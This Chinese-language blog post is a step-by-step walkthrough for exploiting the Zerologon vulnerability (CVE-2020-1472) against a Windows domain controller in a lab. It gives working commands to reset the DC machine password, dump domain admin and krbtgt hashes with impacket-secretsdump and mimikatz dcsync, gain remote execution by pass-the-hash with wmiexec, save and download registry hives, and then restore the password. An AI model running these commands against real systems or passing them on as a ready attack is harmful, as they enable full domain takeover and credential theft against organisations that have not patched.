CVE-2020-1472 Zerologon

1. 相关信息

CVE-2020-1472 是继 MS17010 之后一个比较好用的内网提权漏洞,影响Windows Server 2008 R2 至 Windows Server 2019 的多个版本系统,只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞。该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为 windows ,该漏洞的稳定利用方式为重置目标域控的密码,然后利用空的控凭证进行 Dc sync 获取域管权限后修复域控密码,之所以不直接使用域控凭证远程执行命令,是因为城控账户是不可以登录的,但是域控具备 DCsync 权限, 可以获取域内任意用户的凭证。

漏洞利用过程中会重置域控存储在域中 (ntds.dit) 的凭证,而域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时,会导致目标域控脱域,所以在重置完域控凭证后要尽快恢复。

  • 影响版本:
  • 对应补丁:

2. 操作步骤

  • 测试环境:
    • 靶机:Microsoft Windows Server 2016 Standard 10.0.14393 暂缺 Build 14393
    • 测试机:Kali 2022.2 官方虚拟机

2.1 单步操作

所用脚本:

  1. 漏洞探测:zerologon_tester.py 域控主机名 域控IP地址

  2. 漏洞利用(这个脚本本身也带探测功能):python3 cve-2020-1472-exploit.py -t 域控IP -n 域控主机名

  3. 导出域管理员口令哈希:impacket-secretsdump 域名/域控主机名\$@域控IP -no-pass -just-dc-user 域管用户名

    当然,也可以导出全部用户的 hash,去掉最后的 -just-dc-user 开关就行。

  4. 获得域控执行权限:impacket-wmiexec -hashes :域管理员哈希 域管用户名@域控地址

  5. 恢复机器账户哈希:powershell Reset-ComputerMachinePassword

  6. 另外一种恢复方法

    1. 获取域控原始 hash,并下载回本地

      reg save HKLM\SYSTEM system.save
      reg save HKLM\SAM sam.save
      reg save HKLM\SECURITY security.save
      lget system.save
      lget sam.save
      lget security.save
      del /f system.save  
      del /f sam.save  
      del /f security.save
      

    2. 提取原始的哈希:impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

    3. 利用脚本恢复:python3 reinstall_original_pw.py 与控主机名 域控IP 上一步获得的hash

      恢复后再次尝试用空口令获取哈希,就提示失败了

      用获取到的域管口令哈希再次获取域控机器账户哈希,可以看到已经恢复

  7. 还可以通过 lsass 提取原始哈希:sekurlsa::logonpassword

2.2 Mimikatz 一步到位

  1. 提升权限:privilege::debug

  2. 检测是否存在漏洞:lsadump::zerologon /target:<dc-ip> /account:<主机名>$

  3. 重置密码:lsadump::zerologon /target:<dc-ip> /account:<主机名>$ /exploit

  4. 导出域管hash:lsadump::dcsync /domain:<域名> /dc:<域控主机FQDN> /user:<想要导出hash的user,如:administrator> /authuser:<计算机名>$ /authdomain:<域名> /authpassword:"" /authntlm

    例如:lsadump::dcsync /domain:de1ay.com /dc:dc.de1ay.com /user:krbtgt /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm

  5. 使用域管 hash 启动一个新的命令行(PTH):sekurlsa::pth /user:域管用户名 /domain:域名 /ntlm:域管hash "cmd.exe"

  6. 恢复域控机器账户哈希( 在PTH后的那个窗口启动 mimikatz ):lsadump::postzerologon /target:域控IP /account:域控机器账号$

3. 注意事项

  1. py脚本依赖安装过程中会出现一些错误提示,并不影响使用(可能是还没有用到那么高级的功能):

    ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.                                                         
    crackmapexec 5.2.2 requires bs4<0.0.2,>=0.0.1, which is not installed.       
    crackmapexec 5.2.2 requires neo4j<5.0.0,>=4.1.1, but you have neo4j 1.7.0.dev0 which is incompatible.                                                     
    crackmapexec 5.2.2 requires pylnk3<0.4.0,>=0.3.0, but you have pylnk3 0.4.2 which is incompatible. 
    
  2. 指定用户的时候,需要和工具导出哈希时前面的名字保持一致

  3. wmiexec 执行编码问题,相关语言编码可以在 https://docs.python.org/3/library/codecs.html 中找到,或者进入 shell 后输入 chcp 获得系统当前编码格式信息。

  4. mimikatz 使用的时候需要将目标主机添加到 hosts 文件中,不然lsadump::dcsync时会出现找不到主机的情况

  5. mimikatz 重置密码之后会是一个固定值。(Waza1234/Waza1234/Waza1234/

posted @   晨曦_m0rning  阅读(1085)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示